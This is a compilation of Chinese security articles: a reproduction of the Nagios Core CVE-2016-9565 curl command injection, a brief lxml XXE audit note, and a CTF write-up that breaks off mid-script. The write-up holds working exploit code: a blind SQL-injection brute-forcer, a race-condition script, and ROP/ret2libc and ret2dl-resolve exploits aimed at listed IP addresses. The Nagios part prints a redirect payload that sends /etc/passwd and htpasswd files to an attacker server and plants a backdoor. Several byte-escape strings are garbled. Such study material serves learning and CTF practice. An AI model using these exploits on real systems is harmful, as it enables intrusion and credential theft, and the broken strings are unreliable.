### 1.漏洞简介
[Nagios](https://www.nagios.org) 是一款监控IT基础设施的程序，近日安全研究人员 [Dawid
Golunski](http://legalhackers.com/) 发现在 [Nagios
Core](https://www.nagios.org/projects/nagios-core/) 中存在一个代码执行漏洞：攻击者首先伪装成 RSS
订阅源，当受害应用获取 RSS 信息时攻击者将恶意构造的数据传给受害者，程序在处理过程中将恶意数据注入到了 curl 的命令中，进而代码执行。
### 2.漏洞影响
漏洞触发前提：
1. 攻击者可伪装成`https://www.nagios.org`，利用 dns 欺骗等方法
2. 攻击者被授权，或者攻击者诱使授权用户访问`rss-corefeed.php`、`rss-newsfeed.php`和`rss-corebanner.php`其中一个文件。
成功攻击可执行任意代码。
### 3.影响版本
Nagios Core < 4.2.2
## 0x01 漏洞复现
### 1\. 环境搭建
Dockerfile:
FROM quantumobject/docker-nagios
RUN sed -i '99d' /usr/local/nagios/share/includes/rss/rss_fetch.inc
RUN mkdir /tmp/tmp && chown www-data:www-data /tmp/tmp
然后运行：
docker run -p 80:80 --name nagios -d quantumobject/docker-nagios
访问`http://127.0.0.1/nagios`，用`nagiosadmin:admin`登录即可
### 2.漏洞分析
漏洞触发点在`/usr/local/nagios/share/includes/rss/extlib/Snoopy.class.inc`第657行，`_httpsrequest`函数中：
// version < 4.2.0
exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);
// vserion >= 4.2.0 && version < 4.2.2
exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);
这里使用了`escapeshellcmd`来对 **命令参数** 进行处理，`escapeshellcmd`的作用如下：
作者意在防止多条命令的执行，但是这样处理并没有防止注入 **多个参数**
样如果`$URI`可控，再配合`curl`的一些特性便可以进行文件读写，进而代码执行。（一般来说为防止注入多个参数要使用
[escapeshellarg](http://php.net/manual/zh/function.escapeshellarg.php)，但该函数也不是绝对安全，详见
[CVE-2015-4642](https://bugs.php.net/bug.php?id=69646)。）
因为之前爆出的 [CVE-2008-4796](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796)，代码在4.2.0版本做了改变，但是该补丁可以被绕过，只要我们在输入中闭合前后的`"`即可。
下面我们来看`$URI`是否可控。根据代码逻辑来看，`_httpsrequet`被`usr/local/nagios/share/includes/rss/rss_fetch.inc`中的`fetch_rss`函数调用，这样我们创建这样一个测试文件`test.php`：
<?php
define('MAGPIE_DIR', './includes/rss/');
define('MAGPIE_CACHE_ON', 0);
define('MAGPIE_CACHE_AGE', 0);
define('MAGPIE_CACHE_DIR', '/tmp/magpie_cache');
require_once(MAGPIE_DIR.'rss_fetch.inc');
fetch_rss('https://www.baidu.com --version');
访问`http://127.0.0.1/nagios/test.php`之后开启动态调试，我们在上述`exec`函数处下断点，函数调用栈如下：
`$URI`情况如下：
可知`$URI`可控，并且在传入过程中没有被过滤。
接下来需要构造`curl`参数来得到我们想要的结果，这里我们使用 Dawid Golunski 提供的
[Exp](https://github.com/0xwindows/VulScritp/blob/master/nagios/nagios_cmd_injection.py)，需要注意的是，他提供的代码可验证4.2.0之前的版本，若验证版本大于等于4.2.0且小于4.2.2时，需对其代码进行一下更改，加上闭合所需要的双引号：
# 第44行
self.redirect('https://' + self.request.host + '/nagioshack" -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '"', permanent=False)
该 Exp 具体流程如下：
1. 在攻击者的服务器上开启一个 http/https 服务器
2. 受害者使用`fetch_rss`向该服务器发其请求
3. 攻击者收到请求后对其进行重定向，重定向 url 为 `https:// + 攻击者服务器 + payload`，payload 中使用`-F`将文件内容发送给服务器，`--trace-ascii`将流量记录到文件中（类似 Roundcube RCE 中 `mail`函数的`-X`）。
4. 服务器接收到重定向的请求后进行了以下三个操作：
1. 解析文件内容
2. 返回后门内容进而通过流量记录写到后门文件中
3. 返回构造好的XML，在`description`中添加`<img src=backdoor.php>`
5. 受害者解析XML并将`description`的内容输出到html中，进而自动执行后门
为了方便验证，我们在网站目录下创建一个`exp.php`:
<?php
define('MAGPIE_DIR', './includes/rss/');
define('MAGPIE_CACHE_ON', 0);
define('MAGPIE_CACHE_AGE', 0);
define('MAGPIE_CACHE_DIR', '/tmp/magpie_cache');
require_once(MAGPIE_DIR.'rss_fetch.inc');
fetch_rss('http://172.17.0.3');
（仅为验证漏洞，这里我们并没有解析XML）然后我们在`172.17.0.3`上运行
Exp，然后访问`http://127.0.0.1/exp.php`即可得到结果：
实际测试时 Exp 中的后门代码有可能在日志中会被截断从而导致命令执行不成功，建议写入简短的一句话：
真实情况下，`fetch_rss`的调用情况如下：
可见我们并不能控制其参数的值，所以只能通过 dns
欺骗等手段使目标对`https://www.nagios.org`的访问指向攻击者的服务器，进而触发漏洞。
### 3.补丁分析
4.2.2版本中删除了`includes/`以及`rss-corefeed.php`、`rss-newsfeed.php`和`rss-corebanner.php`。
## 0x02 修复方案
升级到4.2.2
## 0x03 参考
1. Dawid Golunski 的漏洞报告：<http://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html>
2. `escapeshellcmd`的使用手册：<http://php.net/manual/zh/function.escapeshellcmd.php>
* * * | 社区文章 |
我最近在审计内部产品的时候发现一处有趣的代码
import lxml.objectify
jioc={}
ioco = lxml.objectify.parse(filename)
root = ioco.getroot()
jioc['short_description'] = root.short_description.__str__()
这段代码有xxe漏洞，而且
from lxml import etree
tree=etree.parse(filename)
root= tree.getroot()
for i in root.getroottree().getiterator('modelVersion'):print i.text
还有
xml='''
<!DOCTYPE ent [
<!ENTITY ent SYSTEM "file:///etc/passwd">
]>
<b>&ent;</b>
'''
a=objectify.fromstring(xml)
print a
都会造成xxe漏洞，关于xxe的问题，在官方网站中有提到<https://bugs.launchpad.net/lxml/+bug/1742885>，而解决方法在<https://mikeknoop.com/lxml-xxe-exploit/>提到
# 解决方案
只要把resolve_entities设置成False就可以了
from lxml import etree
parser = etree.XMLParser(resolve_entities=False)
但是这样修改之后，就会出现一些莫名奇妙的bug，于是我就按照建议把代码做了一些修改：
import lxml.objectify
from lxml import etree
filename="test.ioc"
ioco = lxml.objectify.parse(filename,etree.XMLParser(resolve_entities=False))
jioc = {'rule': '', 'member': {}, 'description': '', 'short_description': '','level':''}
root={}
for elt in ioco.getroot():
root[etree.QName(elt.tag).localname]=elt.text
jioc['short_description'] = root['short_description']
print jioc
definition = root['definition']
这样就可以防止xxe漏洞
我的同事qinghua做了一些更不错的修改，他使用python自带的xml库，用底层语言实现功能，方便控制
他的代码：
import sys
import os
reload(sys)
sys.setdefaultencoding("utf-8")
from xml.parsers import expat
class Element(object):
'''analyze a element'''
def __init__(self, name, attributes):
#record tag and attribute dictionary
self.name = name
self.attributes = attributes
#clear the element cdata and its children
self.cdata = ''
self.children = [ ]
def addChild(self, element):
self.children.append(element)
def getAttribute(self, key):
return self.attributes.get(key)
def getData(self):
return self.cdata
def getElements(self, name = ''):
if name:
return [ c for c in self.children if c.name == name ]
else:
return list(self.children)
class Xml2Obj(object):
'''transform XML to Object'''
def __init__(self):
self.root = None
self.nodeStack = [ ]
def StartElement(self, name, attributes):
'Expat start element event handler'
#make instance of class
element = Element(name.encode(), attributes)
#put the element into stack and make it become child_element
if self.nodeStack:
parent = self.nodeStack[-1]
parent.addChild(element)
else:
self.root = element
self.nodeStack.append(element)
def EndElement(self, name):
'Expat end element event handler'
self.nodeStack.pop()
def CharacterData(self, data):
'''Expat character data event handler'''
if data.strip():
data = data.encode()
element = self.nodeStack[-1]
element.cdata += data
def Parse(self, filename):
#create Expat analyzer
Parser = expat.ParserCreate()
#Set the Expat event handlers to our methods
Parser.StartElementHandler = self.StartElement
Parser.EndElementHandler = self.EndElement
Parser.CharacterDataHandler = self.CharacterData
#analyz XML file
ParserStatus = Parser.Parse(open(filename).read(), 1)
return self.root
if __name__ == '__main__':
filename='test_xml.xml'
parser = Xml2Obj()
root_element = parser.Parse(filename)
print root_element.getElements()[0].cdata
ch=root_element.getElements('properties')[0].children
print ch[0].cdata
ch=root_element.getElements('dependencies')[0].children
dependency_ch= ch[0].children
print dependency_ch[0].cdata | 社区文章 |
# 【CTF攻略】L-CTF 2016 官方 Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**传送们**
****【CTF攻略】最新2016 L-CTF Nu1L's writeup****
[http://bobao.360.cn/ctf/learning/168.html](http://bobao.360.cn/ctf/learning/168.html)
**
**
**Web**
**Web 50 签到**
签到题，登录页面存在报错注入，过滤了and、or、select等，但都可以通过双写绕过，空格用/**/代替，通过报错回显即可拿到密码。登陆后进入购买页面，抓包可发现购买数量和密码都可控，猜测后台检验方式为用户余额-单价x数量是否大于零，于是可将购买数量改为一负值或者0，再对密码进行爆破即可。
**
**
**Web150 我控几不主我及几啦**
这道题思路来源于LuManager15年12爆出的注入漏洞，但sqlmap也能跑并不在出题人意料之内，分给得偏高。从解题人数来看作为签到题似乎更好一点QAQ。
解题办法：
1.sqlmap加上各种tamper后即可跑出
2.构造一个上传表单
并将enctype="multipart/form-data"，然后通过post方法传入id，即可绕过waf联合查询出flag。
where是sql关键字，记得用反引号包住。
注入得到flag:
**
**
**Web 200 睡过了**
其实这个题就是前段时间爆出来的一个洞,如果你关注最新的漏洞这个题基本就是秒出啦~
具体的参见<http://paper.seebug.org/39/>，基本就是以下几点:
1.PHP序列化字符串中对象长度前加一个+号仍可正常反序列化,可用此来绕过正则，参见<http://www.phpbug.cn/archives/32.html>；
2.PHP当序列化字符串中表示对象属性数的值大于真实的属性个数时会跳过__wakeup()的执行 (所以题目叫睡过啦~）；
3.绕过PHP中open_basedir的限制。
首先打开链接,在filename,filedata中填好一句话的文件名和文件内容,跳到了upload.php,有提示"这种key加也行"：
就像前面所说的加个 **+** ：
很明显filename和filedata的值被清空了。继续改掉"key"后面的那个2为3或者大于2这数字：
写进去了,嘿嘿嘿嘿~
这里实际上是会传到upload目录下,这个目录需要试一下或者扫,这个倒没什么,不过比较坑的一点是会把你的文件名做一下MD5在存在upload目录下
(这个确实…….不过我很快就放出提示告诉大家啦）。然后得知了路径直接用菜刀连上就有一个webshell啦：
然而你会发现有open_basedir的限制,我们需要再写一个脚本去绕过：
参见P总的博客<https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html>
最后访问就可以得到Flag啦~~~~
**web_250–苏打学姐的网站**
这个题目一共有三个步骤。首先是文件读取，有一点小坑，当时放题想过要不要把后台正则匹配的代码提示出来，但是看到几个师傅秒过就算了，然后就是一个常规的CBC翻转，ctf也出现过。
最后是一个上传，比较实战的一个点，使用.user.ini文件构成的PHP后门getshell。最有意思的就是尽量想办法防止文件被改或者删除等，毕竟要getshell，权限限制，再加上ph师傅说的-i隐藏属性各种限制，以及各位大佬的照顾和捧场，使最后题目没出乱子，谢谢大家。还是有一点失误的，记的有队伍的web牛直接使用php文件把flag读到网页访问，这样的话导致其他队伍去的话可以直接访问到flag了(感谢师傅马上上传覆盖解决这个尴尬)。so姿势水平还要加强。
首先打开几个图片可以知道是文件包含，也给了tips提示tips:file/tips.txt、但是直接访问是403，使用img.php直接img.php?id=file/tips.txt也是读取不到的，必须是有jpg,还使用正则简单限制了php://xxxxxxxxx/resource
**=** 形式的读取，后台代码如下：
所以payload：
img.php?id=php://xxxxxxxxx/resource=file/1.jpg/resource=file/tips.txt就可以读到。代码还给返回头加了image/jpg，火狐浏览器直接解析是看不到，可以使用Google
Chrome或者curl命令也行。
得到后台，随便同方法看看admin.php.txt源码，知道是一个cbc翻转改变cookie，参考以前wooyun文章，各位可以网上搜索一下。打开/admin_5080e75b2fe1fb62ff8d9d97db745120首页，主要代码：
<?php
error_reporting(0);
$Key = "xxxxxxxxxxxxxxxxx";
$iv = "xxxxxxxxxxxxxxxx";
$v = "2016niandiqijiequanguowangluoanquandasai0123456789abcdef-->xdctfxdnum=2015auid=4;xdctfxdctf";
$en_Result = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$Key, $v, MCRYPT_MODE_CBC, $iv);
$enc = base64_encode($en_Result);
$en_Data = base64_decode($_COOKIE[user]);
$de_Result = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$Key, $en_Data, MCRYPT_MODE_CBC, $iv);
$b = array();
$b = isset($_COOKIE[user])?$de_Result:$enc;
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);
echo '</br><h3>ID: '.$num1."</h3><br>";
if ($num1 == 1 && $num2 == 2016){
die ("shen mi li wu !");
}
else{
echo "HELLO CLIENT";
}
setcookie("user",$enc);
?>
需要改变的是2015的5和uid=4的4,分别对应63和57位，poc：
<?php
$enc = "dSaWGkNVh2MADjPscqdId/25Y68VaL+Ze6rYSCUHvvDV7MnbDs6fHcibGemmyMoyfHa9cXJ7DHU8Wd/DZqyNfLQ5dDs9wVDIllMKnIQilJunP9hpJ3CYFayOF0vbiqhM";
$enc = base64_decode($enc);
$enc[63] = chr(ord($enc[63]) ^ ord("4") ^ ord ("1"));
$enc[57] = chr(ord($enc[57]) ^ ord("5") ^ ord ("6"));
$c = base64_encode($enc);
$d = urlencode($c);
echo $d;
?>
替换cookie可以跳转到上传界面，fuzzing可以上传ini，不多说直接一篇文章搞定：<http://404.so/7945.html>，之后getshell。得到flag。
**Web 300 headpic**
这道题的大致思路是，首先通过注册账户，注册带非法字符的用户名，发现无法正常的修改头像，而构造正确的sql逻辑则可以更新头像，于是认为在访问用户主页时触发了二次注入。然后到需要写脚本的时候，需要克服这道题的验证码。首先它形式很简单，完全没有粘连，因此可以直接用tesseract-ocr识别；不过还有更简单的方式，验证码是存在session里的，且缺乏验证，那我们直接清空cookie，验证码就不起效了。注入的脚本大致如下：
#coding:utf-8
import requests
import random
import pytesseract
from PIL import Image
from io import BytesIO
import string
import sys
def regist(name):
url1=url+"check.php"
try:
for i in range(20):
veri = verify()
#print veri
payload={'user':name,'pass':'111','verify':veri,'typer':'0','register':"%E6%B3%A8%E5%86%8C"}
#print payload
r=requests.post(url1,data=payload,headers=headers)
txt=r.text
#print txt
#print r.headers['Content-Length']
if '2000' in txt:
print "register OK!!"
flag = login(name)
return flag
break
else:
pass
#print "not register"
return False
except Exception, e:
pass
def login(name):
url1=url+"check.php"
try:
for i in range(20):
veri = verify()
#print veri
payload={'user':name,'pass':'111','verify':veri,'typer':'0','login':'%E7%99%BB%E9%99%86'}
r=requests.post(url1,data=payload)
txt=r.text
#print txt
if '2000' in txt:
print "login OK!!"
#print r.headers
headers['Cookie'] = r.headers['Set-Cookie']
v = setpic(headers)
if v:
return True
#sys.exit()
break
else:
pass
#print "not login"
return False
except Exception, e:
raise e
def verify():
url = "http://xxxxxx/verify.php"
try:
r=requests.get(url,headers=headers)
i=Image.open(BytesIO(r.content))
im = i.convert('L')
threshold = 140
table = []
for i in range(256):
if i < threshold:
table.append(0)
else:
table.append(1)
out = im.point(table, '1')
return pytesseract.image_to_string(out)
except Exception, e:
raise e
def setpic(headers):
url1 = "http://xxxxxx/ucenter.php"
try:
r=requests.post(url1,headers=headers)
txt=r.text
#print txt
if "math1as.com/pic" in txt:
return True
else:
return False
except Exception, e:
raise e
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
"Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding":"gzip, deflate",
"Cookie":"3vitee1ku455s2etkefct41j10"
}
url = "http://xxxxxx/"
payloads = ['2', '6', '3', '4', '5', '1', '7', '8', '9', '0','f','a','b','c','d', 'e']
#payloads =['/','@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#payloads =list(string.ascii_lowercase)
ss = ""
#name = 'kkkkkkkk'/**/or/**/exists(select/**/*/**/from/**/xdsec)/**/#'
#for i in payloads:
for i in range(1,33):
flag = False
for x in payloads:
name = 'kkkkkkkk'/**/or/**/ord(substr((select/**/pass/**/from/**/flag_admin_233),'+str(i)+',1))='+str(ord(x))+'/**/#'
#name = 'kkkkkkkk'/**/or/**/ord(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x666c61675f61646d696e5f323333/**/limit/**/2,1),4,1))=115/**/#'
#name = 'kkkkkkkk'/**/or/**/length((select/**/admin/**/from/**/flag_admin_233))=5/**/#'
#name = 'kkkkkkkk'/**/or/**/exists(select/**/id/**/from/**/flag_admin_233)/**/#'
#print name
flag = regist(name)
if flag:
ss += x
print ss
break
#sys.exit()
print "done"
#pass:6cb0598de4da617832e15f4c69570b7
#name = 'kkkkkkkk'/**/or/**/100>50/**/#'
注入成功得到密码后还是无法直接登陆。然后在robots.txt处有一个base32加密的提示，所以去想办法访问scret_new_notice.php（这里需要以local访问,通过头像处的ssrf,通过@的基础认证方式绕过），得到的提示是admin用户改变了自己的用户名。在这种情况下，由于用来判断的函数是strcmp()，因此传入数组为User[]=xxxx使其返回值为0，成功得到flag。
**
**
**Web300 【你一定不能来这】**
感谢已毕业的phithon学长，部分思路来源于p总博客<https://www.leavesongs.com/>
首先在根目录下的crossdomain.xml发现隐藏的域名：
访问该域名后可下载一份download.php源码：
并发现可以利用hash长度扩展攻击下载得到www.rar。由于不知道secret长度，需要爆破。Secret长度为18，下载`www.rar`发现压缩包加密了，二进制观察压缩包发现文件尾有一串jjencode，拖入浏览器中可得一段培根密码，解密得到压缩包密码：
解压后进行代码审计，可以得到管理员邮箱。又发现要得到flag要重置id=0的用户的密码。而在php中id=0是会被判断为空的，而由于mysql的特性，会将0aa这样的字符串转成0.所以id=0aa即可进入第一个if。
接下来需要知道token，而token是时间戳加上rand(1,10000)，那么就需要预测服务器上的时间戳然后爆破1-10000。预测时间戳的话有两种方法：
1\. 本地直接time()取，这样的话需要减去网络延时。网络状况不稳定的话就容易造成较大误差。
2\.
通过获取http头的date字段获取服务器的准确时间（GMT），这样的话需要确定`php.ini`的时区设置（北京时间是GMT+8），得到时间戳后爆破即可。这里有一个坑点是，一个回合只能有一个队伍可以重置管理员密码，所以需要通过脚本竞争来进入爆破环节。
**Web 500 盘加加**
比较有趣的一个题目。
首先是登陆的部分，由于管理员的注册逻辑有错，pwd忘记加上md5()，导致无法正常登陆。这时注意到找回密码的地方，为4位数字验证码，因此直接通过脚本爆破。进入到ucenter后其中的调试脚本功能需要余额为99999以上才能使用，而初始提供给了用户33333积分，可以以1:1的形式进行兑换。
这里考察的是一个数据库不加锁情况下处理并发的业务逻辑问题，因此直接用时间竞争的方式，脚本多线程跑一下即可。脚本如下：
# -*- coding:utf-8 -*- import requests
from time import sleep
from threading import Thread
class URLThread(Thread):
def __init__(self, url,data,cookie, timeout=1, allow_redirects=True):
super(URLThread, self).__init__()
self.url = url
self.timeout = timeout
self.allow_redirects = allow_redirects
self.response = None
self.data=data
self.cookies=cookies
def run(self):
try:
self.response=requests.post(self.url,timeout=self.timeout,data=self.data,cookies=self.cookies)
text=self.response.text
print text
except Exception , what:
print what
pass
num=10
data={"count":"33332"}
cookies={"username":"2|1:0|10:1475430892|8:username|16:bWF0aDFhc19yb290|061255e41481821c19b68f12ac86017ec07f5729ca8ddf9050b291dca75a5360"}
th=list()
for i in range(num):
th.append(URLThread("http://119.28.15.75:9000/trans",data,cookies))
for j in th:
j.start()
然后就可以开始调试脚本了。很明显，这里存在一个命令注入，但是限制了大部分的符号，只能使用|、空白、制表符、数字和字母。因此有两种方式绕过：
1\. 利用正则表达式匹配多行的问题,直接绕过
2\. Wget10进制ip地址,然后通过302为其指定一个无后缀名的文件名
最后通过python
文件名执行命令，这个思路是从hitcon的某道题目过来的。最后反弹一个shell，发现权限为root，那么就直接开始审查web源码。在route.py的逻辑中，发现了内网的ip地址，也就是我们调试的脚本地址。用ssh隧道转发后进行访问，发现这其实是一个用php为基础的解释语言(其实就是替换)。在提供的example中找到了调用require的方法，试图包含/self/proc/environ是没有权限的，那么只能使用eval的方法，去执行一个$_SERVER变量，比如x_forwarded_for：
成功执行代码后，就可以执行system，反弹一个shell了：
最后在/home/pwn目录下发现了flag文件，但是直接读取仍然没有权限。分析同目录的.note_pwn，是一个本地提权的文件(setgid)，32位程序，很直接的栈溢出，通过stack-pivoting技巧转移esp到可控区域，然后执行这块区域上预先放置好的rop-chain即可，这块可控区域可利用设置LD_PRELOAD环境变量来获得：
ulimit -s unlimited
export LD_PRELOAD=`python -c "print 'A'*29 + 'xa0x5ex63x55' + 'AAAA' + 'x8cxeax6dx55' + 'x00'*0x8"`
python -c "print 'A'*0x28+'xd0x8ex57x55'" > /tmp/payload
cat /tmp/payload - | ./note_pw
最终得到flag
**
**
**PWN**
# 对zio的输入输出加了点函数，方便自己使用
class zio(object):
#.....
def w(self, s):
self.write(s)
def wl(self, s = ''):
if isinstance(s, (int, long)):
self.writeline(str(s))
else:
self.writeline(s)
def wls(self ,sequence):
self.writelines( [str(i) if isinstance(i, (int, long)) else i for i in sequence] )
def r(self, size = None, timeout = -1):
return self.read(size, timeout)
def rl(self, size = -1):
return self.read_line(size)
def rtl(self, pattern_list, timeout = -1, searchwindowsize = None):
return self.read_until(pattern_list, timeout, searchwindowsize)
def w_af(self, pattern_list, s, timeout = -1, searchwindowsize = None):
self.read_until(pattern_list, timeout, searchwindowsize)
self.writeline(s)
def wls_af(self, pattern_list, sequence, timeout = -1, searchwindowsize = None):
self.read_until(pattern_list, timeout, searchwindowsize)
self.writelines( [str(i) if isinstance(i, (int, long)) else i for i in sequence] )
**PWN100**
**Bugs**
程序有非常简单粗暴的栈缓冲区溢出，可溢出0x80个字节
**Thinking**
栈溢出，没有提供libc，利用方法很多，可以通过got表泄露libc，可以通过DynELF来泄露libc，然后return-to-libc，或者return-to-dl-resolve
下面给出的两个exp，一个是我无聊测试一下之前写的手动泄露共享库函数的方法，具体方法可参考<http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html>这篇文章，另一个exp也是我无聊试的return-to-dl-resolve
**Exploit**
**re2libc**
from zio import *
from pwnlib.dynelf import *
from pwnlib.elf import *
io = zio(('119.28.63.211', 2332), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
# io = zio(('119.28.63.211', 2332), print_read = False, print_write = False, timeout = 10000)
# io.hint([0x4006b7])
got_read = 0x601028
got_puts = 0x601018
plt_puts = 0x400500
adr_bss = 0x601000
p_rdi_ret = 0x00400763
def prepare(address):
payload = 'A' * 0x48
payload += l64(p_rdi_ret)
payload += l64(address)
payload += l64(plt_puts)
payload += l64(0x400550) # program entry
payload = payload.ljust(0xc8, 'A')
io.w(payload)
io.rtl('bye~n')
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = l64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += l64(0x0) # rbx be 0x0
payload += l64(0x1) # rbp be 0x1
payload += l64(jmp2) # r12 jump to
payload += l64(arg3) # r13 -> rdx arg3
payload += l64(arg2) # r14 -> rsi arg2
payload += l64(arg1) # r15 -> edi arg1
payload += l64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 56 # junk
return payload
def getshell(adr_system):
payload = 'A' * 0x48
payload += com_gadget(0x40075a, 0x400740, jmp2 = got_read,
arg1 = 0x0,
arg2 = adr_bss + 0x80,
arg3 = 0x10)
payload += l64(0x400550) # program entry
payload = payload.ljust(0xc8, 'A')
io.w(payload)
io.rtl('bye~n')
io.w('/bin/shx00' + l64(adr_system))
payload = 'A' * 0x48
payload += com_gadget(0x40075a, 0x400740, jmp2 = adr_bss + 0x88,
arg1 = adr_bss + 0x80)
payload += l64(0xdeadbeef)
payload = payload.ljust(0xc8, 'A')
io.w(payload)
io.rtl('bye~n')
def leak(address, size):
count = 0
buf = ''
while count < size:
prepare(address + count)
# leak(str(address + count))
while True:
ch = io.read(1, timeout = 0x10)
#print ch
count += 1
if ch == 'n':
buf += 'x00'
break
else:
buf += ch[0]
leak_data = buf[:size]
#print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
return leak_data
# manual leak libc
BITS = 64
# get arbitrary address located in libc
def get_elf_entry(got):
entry = l64(leak(got, 0x8))
print '[+] libc entrytttt:t0x%x' % entry
return entry
# find libc base according to Magic
def find_elf_base(entry):
if BITS == 64:
libc_base = entry & 0xfffffffffffff000
while True:
garbage = leak(libc_base, 0x4)
if garbage == 'x7fELF':
break
libc_base -= 0x1000
print '[+] libc basetttt:t0x%x' % libc_base
return libc_base
# find program header table
def find_phdr(elf_base):
if BITS == 64:
# get address of program header table
phdr = l64(leak(elf_base + 0x20, 0x8)) + elf_base
print '[+] program headers tablett:t0x%x' % phdr
return phdr
# find dynamic section table (.dynamic section -> DYNAMIC segment)
def find_dyn_section(phdr, elf_base):
if BITS == 64:
phdr_ent = phdr
while True:
garbage = l32(leak(phdr_ent, 0x4))
# p_type of dynamic segment is 0x2
if garbage == 0x2:
break
phdr_ent += 0x38
dyn_section = l64(leak(phdr_ent + 0x10, 0x8)) + elf_base
print '[+] .dynamic section headers tablet:t0x%x' % dyn_section
return dyn_section
def find_sym_str_table(dyn_section):
if BITS == 64:
dyn_ent = dyn_section
dt_sym_tab = 0x0
dt_str_tab = 0x0
while True:
garbage = l64(leak(dyn_ent, 0x8))
if garbage == 0x6:
dt_sym_tab = l64(leak(dyn_ent + 0x8, 0x8))
elif garbage == 0x5:
dt_str_tab = l64(leak(dyn_ent + 0x8, 0x8))
if dt_str_tab and dt_sym_tab:
break
dyn_ent += 0x10
print '[+] symtabtttt:t0x%x' % dt_sym_tab
print '[+] strtabtttt:t0x%x' % dt_str_tab
return (dt_sym_tab, dt_str_tab)
def find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base):
if BITS == 64:
sym_ent = dt_sym_tab
while True:
garbage = l32(leak(sym_ent, 0x4))
name = leak(dt_str_tab + garbage, len(func))
if name == func:
break
sym_ent += 0x18
adr_func = l64(leak(sym_ent + 0x8, 0x8)) + elf_base
print '[+] %s loaded addresst:t0x%x' % (func, adr_func)
return adr_func
# exploit ELF
def lookup(func):
entry = get_elf_entry(got_read)
elf_base = find_elf_base(entry)
phdr = find_phdr(elf_base)
dyn_section = find_dyn_section(phdr, elf_base)
dt_sym_tab, dt_str_tab = find_sym_str_table(dyn_section)
func_address = find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base)
return func_address
leak(got_read, 0x8)
adr_system = lookup('__libc_system')
print '[+] system addrt:t' + hex(adr_system)
getshell(adr_system)
io.itr()
**ret2dl-resolve**
from zio import *
io = zio(('119.28.63.211', 2332), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
# io = zio('./pwn100_strip', print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
# io = zio(('119.28.63.211', 2332), print_read = False, print_write = False, timeout = 10000)
#io.hint([0x4006b7])
junk = 0x48
plt_puts = 0x0000000000400500
plt_resolve = 0x00000000004004f0
got_read = 0x0000000000601028
got_puts = 0x0000000000601018
got_linkmap = 0x0000000000601008
leave_ret = 0x000000000040068c
pop_rbp_ret = 0x0000000000400595
pop_rdi_ret = 0x0000000000400763
p4_ret = 0x000000000040075c
adr_stage = 0x0000000000601000 + 0x800
adr_rel_plt = 0x0000000000400450
adr_dyn_sym = 0x00000000004002c0
adr_dyn_str = 0x0000000000400380
adr_fake_rel_plt = adr_stage + 0x100
adr_fake_dyn_sym = adr_stage + 0x208
adr_fake_dyn_str = adr_stage + 0x300
adr_shell = adr_stage + 0x400
com_part1 = 0x40075a
com_part2 = 0x400740
adr_entry = 0x400550
def prepare(address):
payload0 = 'A' * junk
payload0 += l64(pop_rdi_ret)
payload0 += l64(address)
payload0 += l64(plt_puts)
payload0 += l64(adr_entry)
payload0 = payload0.ljust(0xc8, 'A')
io.w(payload0)
io.rl()
def leak(address, size):
count = 0
buf = ''
while count < size:
prepare(address + count)
# leak(str(address + count))
while True:
ch = io.read(1, timeout = 0x10)
#print ch
count += 1
if ch == 'n':
buf += 'x00'
break
else:
buf += ch[0]
#print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
leak_data = buf[:size]
return leak_data
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = l64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += l64(0x0) # rbx be 0x0
payload += l64(0x1) # rbp be 0x1
payload += l64(jmp2) # r12 jump to
payload += l64(arg3) # r13 -> rdx arg3
payload += l64(arg2) # r14 -> rsi arg2
payload += l64(arg1) # r15 -> edi arg1
payload += l64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 56 # junk
return payload
adr_linkmap = l64(leak(got_linkmap, 0x8))
print '[+] leak link_mapt:t' + hex(adr_linkmap)
# overwrite link_map+0x1c8 0x0, read fake structure
payload0 = 'A' * junk
payload0 += com_gadget(com_part1, com_part2, got_read,
arg1 = 0x0,
arg2 = adr_linkmap + 0x1c8,
arg3 = 0x8)
payload0 += l64(adr_entry)
payload0 = payload0.ljust(0xc8, 'A')
io.w(payload0)
io.rl()
io.w(l64(0x0))
payload0 = 'A' * junk
payload0 += com_gadget(com_part1, com_part2, got_read,
arg1 = 0x0,
arg2 = adr_stage,
arg3 = 0x500)
payload0 += l64(adr_entry)
payload0 = payload0.ljust(0xc8, 'A')
io.w(payload0)
io.rl()
payload0 = 'A' * junk
